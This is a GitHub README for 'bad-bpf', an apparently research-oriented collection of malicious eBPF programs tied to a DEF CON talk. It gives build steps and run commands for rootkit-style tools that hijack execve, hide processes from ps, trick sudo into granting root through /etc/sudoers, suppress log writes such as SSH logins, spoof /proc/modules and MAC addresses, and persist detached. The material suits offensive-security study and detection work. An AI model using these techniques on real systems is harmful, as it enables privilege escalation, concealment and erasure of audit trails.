

pathtofile / bad-bpfPublic

NotificationsFork79Star545

<> CodeIssuesPull requests1ActionsProjectsSecurityInsights

mainGo to fileCode

16 Commits

.github/workflowsblazesym @ 53253d4bpftool @ 8485b9flibbpf @ f11758asrctoolsvmlinux.clang-format.gitignore.gitmodulesLICENSEREADME.md

ReadmeBSD-3-Clause licenseActivity545 stars9 watching79 forksReport repository

Releases3Release v1.2Lateston Jul 7+ 2 releases

PackagesNo packages published

LanguagesC 99.9%Other 0.1%

ReadmeBSD-3-Clause license

Bad BPF

A collection of malicious eBPF programs that make use of eBPF's ability to read and write user data in between the usermode program and the kernel.

- Overview
- To Build
- To Run
- Available Programs

Overview

See my blog and my DEF CON talk for an overview on how thee programs work and why this is interesting.

Examples have been tested on:

- Ubuntu 22.04

Build

To use pre-build binaries, grab them from the Releases page.

To build from source, do the following:

Dependencies

To build and run all the examples, you will need a Linux kernel version of at least [4.7](#).

As this code makes use of CO-RE, it requires a recent version of Linux that has BTF Type information. See [these notes in the libbpf README](#) for more information. For example Ubuntu requiries `Ubuntu 20.10` +.

To build it requires these dependencies:

- `zlib`
- `libelf`
- `libbfd`
- `clang` and `llvm 14`
- `make`

On Ubuntu these can be installed by

```
sudo apt install build-essential clang-14 llvm-14 libelf1 libelf-dev
```

Build

To Build from source, recusivly clone the respository the run `make` in the `src` directory to build:

```
# --recursive is needed to also get the libbpf source
git clone --recursive https://github.com/pathtofile/bad-bpf.git
cd bad-bpf/src
make
```

The binaries will built into `bad-bpf/src/` . If you encounter issues with related to `vmlinux.h` , try remaking the file for your specific kernel and distribution:

```
cd bad-bpf/tools
./bpftool btf dump file /sys/kernel/btf/vmlinux format c > ../vmlinu:
```

Run

To run, launch each program as `root` . Every program has a `--help` option that has required arguemnts and examples.

Programs

Common Arguments

As well as `--help` , every program also has a `--target-ppid / -t` . This option restricts the programs' operation to only programs that are children of the process matching this PID. This demonstrates to how affect some programs, but not others.

- [Bad BPF](#)
- [Overview](#)
- [Build](#)
 - [Dependencies](#)
 - [Build](#)
- [Run](#)
- [Programs](#)

- [Common Arguments](#)
- [BPF-Dos](#)
- [Exec-Hijack](#)
- [Pid-Hide](#)
- [Sudo-Add](#)
- [Write-Blocker](#)
- [Text-Replace](#)
- [Text-Replace2](#)
 - [Altering Configuration](#)
 - [Running Detached](#)

BPF-Dos

```
sudo ./bpfdos
```



This program raises a `SIG_KILL` signal to any program attempting to use the `ptrace` syscall, e.g. `strace` . Once bpf-dos starts you can test it by running:

```
strace /bin/whoami
```



Exec-Hijack

```
sudo ./execheijack
```



This program intercepts all `execve` calls (used to create new processes) and instead makes then call `/a` . To run, first ensure there is a program in the root dir `/a` (probably best to make is executable by all). `bad-bpf` builds a simple program `hijackee` that simply prints out the `uid` and `argv[0]` , so you can use that:

```
make
sudo cp ./hijackee /a
sudo chmod ugo+rx /a
```



Then just run `sudo ./execheijack` .

Pid-Hide

```
sudo ./pidhide --pid-to-hide 2222
```



This program hides the process matching this pid from tools such as `ps` .

It works by hooking the `getdents64` syscall, as `ps` works by looking for every sub-folder of `/proc/` . PidHide unlinks the folder matching the PID, so `ps` only sees the folders before and after it.

Sudo-Add

```
sudo ./sudoadd --username lowpriv-user
```



This program allows a normally low-privledged user to use `sudo` to become root.

It works by intercepting `sudo` 's reading of the `/etc/sudoers` file, and overwriting the first line with `<username> ALL=(ALL:ALL) NOPASSWD:ALL #` . This tricks sudo into thinking the user is allowed to become root. Other programs such as `cat` or `sudoedit` are unaffected, so to those programs the file is unchanged and the user

does not have those privileges. The `#` at the end of the line ensures the rest of the line is treated as a comment, so it doesn't corrupt the file's logic.

Write-Blocker

```
sudo ./writeblocker --pid 508
```

This program intercepts all write syscall for a given process PID. Instead of passing the data to the actual write syscall, writeblocker will instead fake the call, returning the same number of bytes that the userspace program expects to be written.

Only File Descriptors > 2 will be blocked, so stdin, stdout, and stderr still work.

For example, if you block the writes for the `rsyslogd` process, ssh logins will not be written to `/var/log/auth.log`.

Text-Replace

```
sudo ./textreplace --filename /path/to/file --input foo --replace bar
```

This program replaces all text matching `input` in the file with the `replace` text. This has a number of uses, for example:

To hide kernel module `joydev` from tools such as `lsmod`:

```
./textreplace -f /proc/modules -i 'joydev' -r 'cryptd'
```

Spoof the MAC address of the `eth0` interface:

```
/textreplace -f /sys/class/net/eth0/address -i '00:15:5d:01:ca:05' -r '00:00:00:00:00:00'
```

Malware conducting anti-sandbox checks might check the MAC address to look for signs it is running inside a Virtual Machine or Sandbox, and not on a 'real' machine.

NOTE: Both `input` and `replace` must be the same length, to avoid adding NULL characters to the middle of a block of text. To enter a newline from a bash prompt, use `$'\n'`, e.g. `--replace $'text\n'`.

Text-Replace2

This program works the same as `Text-Replace`, however it has two extra features:

- The program's configuration is alterable at runtime using eBPF Maps.
- The userspace loader can detach and exit

Altering Configuration

The filename is stored in the eBPF Map `map_filename`. The Key is always `0`, and the value matches this struct:

```
struct tr_file {
    char filename[50];
    unsigned int filename_len;
};
```

That is, 50 ascii characters, then an unsigned int matching the length of the actual filename string.

The easiest way to view and alter eBPF maps is using `bpftool`:

```
# List current config
$> bpftool map dump name map_filename
[{"key": 0,
  "value": {
    "filename": "/proc/modules",
    "filename_len": 13
  }
}]

# Alter filename to be 'AAAA'
$> bpftool map update name map_filename \
  key hex 00 00 00 00 \
  value hex 61 61 61 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

# Confirm change config
$> bpftool map dump name map_filename
[{"key": 0,
  "value": {
    "filename": "aaaa",
    "filename_len": 4
  }
}]
```

To alter the text to find and replace, alter the items in the Map `map_text` . The text to find is at key `0` , and the text to replace is key `1` . The values will each match this struct:

```
struct tr_text {
    char text[20];
    unsigned int text_len;
};
```

Running Detached

By running the program with `--detach`, the userspace loader can exit without stopping the eBPF Programs. Before running, first make sure the bpf filesystem is mounted:

```
sudo mount bpffs -t bpf /sys/fs/bpf
```

```
./textreplace2 -f /proc/modules -i 'joydev' -r 'cryptd' --detach
```

This will create a number of eBPF Link files under `/sys/fs/bpf/textreplace`. Once loader has successfully run, you can check the logs by running:

```
sudo cat /sys/kernel/debug/tracing/trace_pipe
# confirm link files are there
sudo ls -l /sys/fs/bpf/textreplace
```

Then to stop, simply delete the link files: